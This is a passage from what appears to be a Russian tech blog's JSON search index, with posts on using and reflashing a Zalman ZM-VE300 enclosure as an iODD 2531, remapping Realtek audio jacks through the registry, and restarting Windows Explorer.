перезагружаемся.\u003c/p\u003e","title":"Восстановление загрузчика Windows 7 после удаления GRUB"},{"content":"\nКак использовать кнопки Как превратить Zalman в iODD Как использовать кнопки\n1. Если удерживать кнопку резервного копирования (BackUp, верхняя кнопка) при подключении - активация ReadOnly.\n2. Если удерживать левую кнопку при подключении - снятие защиты R/O.\n3. Если при работе колесико повернуть вниз и удерживать / кнопку BackUp нажать и удерживать - безопасное отключение (бокс запоминает последний смонтированный образ только при таком отключении)\n4. Если при работе колесико повернуть вверх и удерживать - сканирование директории _ISO.\nПревращение ZM-VE300 в iODD 2531\nскачиваете обычный прошивальщик для iODD 2531, например, отсюда скачиваете программу WindowsEnablerv1.1 Запускаете прошивальщик, который скажет вам \u0026ldquo;Device does not match.\u0026rdquo; Используя Windows Enabler возвращаете кнопке Update рабочее состояние и нажимаете её * После прошивки устройство будет определяться как iODD 2531 и распознаваться штатным прошивальщиком, таким образом в дальнейшем можно будет обновляться с сайта iODD без танцев с бубном.\nСсылки:\nhttp://forum.ixbt.com/topic.cgi?id=11:43919 http://i-odd.com/ ","permalink":"https://blog.xsk.in/it/kasaemo-zalman-zm-ve300/43/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/03/ZM-VE300_07.jpg\"\u003e\u003cimg alt=\"ZM-VE300\" loading=\"lazy\" src=\"/wp-content/uploads/2013/03/ZM-VE300_07-300x202.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"/#u1\"\u003eКак использовать кнопки\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/#u1\"\u003eКак превратить Zalman в iODD\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e \u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca name=\"u1\"\u003eКак использовать кнопки\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e1. Если удерживать кнопку резервного копирования (BackUp, верхняя кнопка) при подключении - активация ReadOnly.\u003cbr\u003e\n2. Если удерживать левую кнопку при подключении - снятие защиты R/O.\u003cbr\u003e\n3. Если при работе колесико повернуть вниз и удерживать / кнопку BackUp нажать и удерживать - безопасное отключение (бокс запоминает последний смонтированный образ только при таком отключении)\u003cbr\u003e\n4. Если при работе колесико повернуть вверх и удерживать - сканирование директории _ISO.\u003c/p\u003e","title":"Zalman ZM-VE300"},{"content":"На некоторых материнских платах отсутствует возможность переназначения гнезд встроенной звуковой карты Realtek. А это значит, что каждое гнездо четко привязано к определенному устройству и определяется только автоматически при включении его в гнездо.\nНапример, если Вы включите Микрофон или Наушники в гнездо, предназначенное для устройства Боковые динамики, то Realtek будет по-прежнему считать, что у Вас подключены Боковые динамики, а не Микрофон или Наушники.\nОднако из данной ситуации есть выход. Вы можете переназначить гнезда вручную, при помощи реестра.\nПерейдите в реестре\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E96C-E325-11CE-BFC1-08002BE10318}\\0000\\Settings\\DrvXXXX_DevType_XXXX_SSXXXXXXXX (где вместо X могут быть любые цифры, зависящие от версии драйвера и номера вашего устройства)\nСоздайте двоичный параметр (Binary-Параметр) задаете ему необходимое имя и значение из списка указанного ниже или отредактируйте уже имеющийся:\nИмя (вставлять без кавычек):\n\u0026ldquo;Pin01\u0026rdquo; = Заднее зеленое гнездо\n\u0026ldquo;Pin02\u0026rdquo; = Заднее черное гнездо\n\u0026ldquo;Pin03\u0026rdquo; = Заднее коричневое гнездо\n\u0026ldquo;Pin04\u0026rdquo; = Заднее серое гнездо\n\u0026ldquo;Pin05\u0026rdquo; = Заднее розовое гнездо (иногда неменяемое даже реестром значение Микрофон)\n\u0026ldquo;Pin07\u0026rdquo; = Заднее синее гнездо (аналогично предыдущему, Линейный вход)\n\u0026ldquo;Pin06\u0026rdquo; = Переднее розовое гнездо\n\u0026ldquo;Pin08\u0026rdquo; = Переднее зеленое гнездо\nЗначение (вставлять без кавычек):\n\u0026ldquo;00 00 00 00\u0026rdquo; = Линейный вход\n\u0026ldquo;01 00 00 00\u0026rdquo; = Микрофон\n\u0026ldquo;02 00 00 00\u0026rdquo; = Наушники\n\u0026ldquo;04 00 00 00\u0026rdquo; = Передние динамики\n\u0026ldquo;05 00 00 00\u0026rdquo; = Тыловые динамики\n\u0026ldquo;06 00 00 00\u0026rdquo; = Центральный канал/Сабвуфер\n\u0026ldquo;07 00 00 00\u0026rdquo; = Боковые динамики\nИмена могут различаться на разных матерях, например для Asus P5K SE/EPU по умолчанию схема выглядит так:\nPin14 - 04 00 00 00 - зеленое гнездо\nPin15 - 05 00 00 00 - черное гнездо\nPin16 - 06 00 00 00 - коричневое гнездо\nPin17 - 07 00 00 00 - серое гнездо\nPin18 - 01 00 00 00 - розовое гнездо\nPin1a - 00 00 00 00 - синее гнездо\nСсылки:\nhttp://windows7-help.ru/viewtopic.php?id=367\u0026amp;p=2 ","permalink":"https://blog.xsk.in/it/perenaznachenie-gnezd-zvukovoj-karty-real/40/","summary":"\u003cp\u003eНа некоторых материнских платах отсутствует возможность переназначения гнезд встроенной звуковой карты Realtek. А это значит, что каждое гнездо четко привязано к определенному устройству и определяется только автоматически при включении его в гнездо.\u003cbr\u003e\nНапример, если Вы включите Микрофон или Наушники в гнездо, предназначенное для устройства Боковые динамики, то Realtek будет по-прежнему считать, что у Вас подключены Боковые динамики, а не Микрофон или Наушники.\u003cbr\u003e\nОднако из данной ситуации есть выход. Вы можете переназначить гнезда вручную, при помощи реестра.\u003c/p\u003e","title":"Переназначение гнезд звуковой карты Realtek"},{"content":"После манипуляций с реестром либо еще чем-нибудь бывает нужно выйти из системы и зайти обратно. Завершение процесса explorer.exe в диспетчере задач и запуск этого процесса заново позволяет достичь нужного результата. Но при этом не сохраняются настройки проводника, сделанные во время сессии (расположение ярлыков на рабочем столе - самый яркий тому пример). Альтернативных \u0026ldquo;правильных\u0026rdquo; решений - два.\nСпособ первый. Переключитесь на рабочий стол (сочетание клавиш WIN+D), затем нажмите ALT+F4. Появится окно завершения работы Windows. Удерживая клавиши ALT+CTRL+SHIFT, щелкните кнопку Отмена.\nСпособ второй. Откройте меню «Пуск», затем, удерживая нажатыми клавиши CTRL+SHIFT, щелкните правой кнопкой мыши по кнопке завершения работы или по соседству с ней. Из меню выберите пункт Выход из проводника.\nСсылки:\nhttp://www.outsidethebox.ms/11418/#2 ","permalink":"https://blog.xsk.in/it/perezapusk-explorera-v-windows/28/","summary":"\u003cp\u003eПосле манипуляций с реестром либо еще чем-нибудь бывает нужно выйти из системы и зайти обратно. Завершение процесса explorer.exe в диспетчере задач и запуск этого процесса заново позволяет достичь нужного результата. Но при этом не сохраняются настройки проводника, сделанные во время сессии (расположение ярлыков на рабочем столе - самый яркий тому пример). Альтернативных \u0026ldquo;правильных\u0026rdquo; решений - два.\u003c/p\u003e","title":"Перезапуск Explorer'a в Windows"}]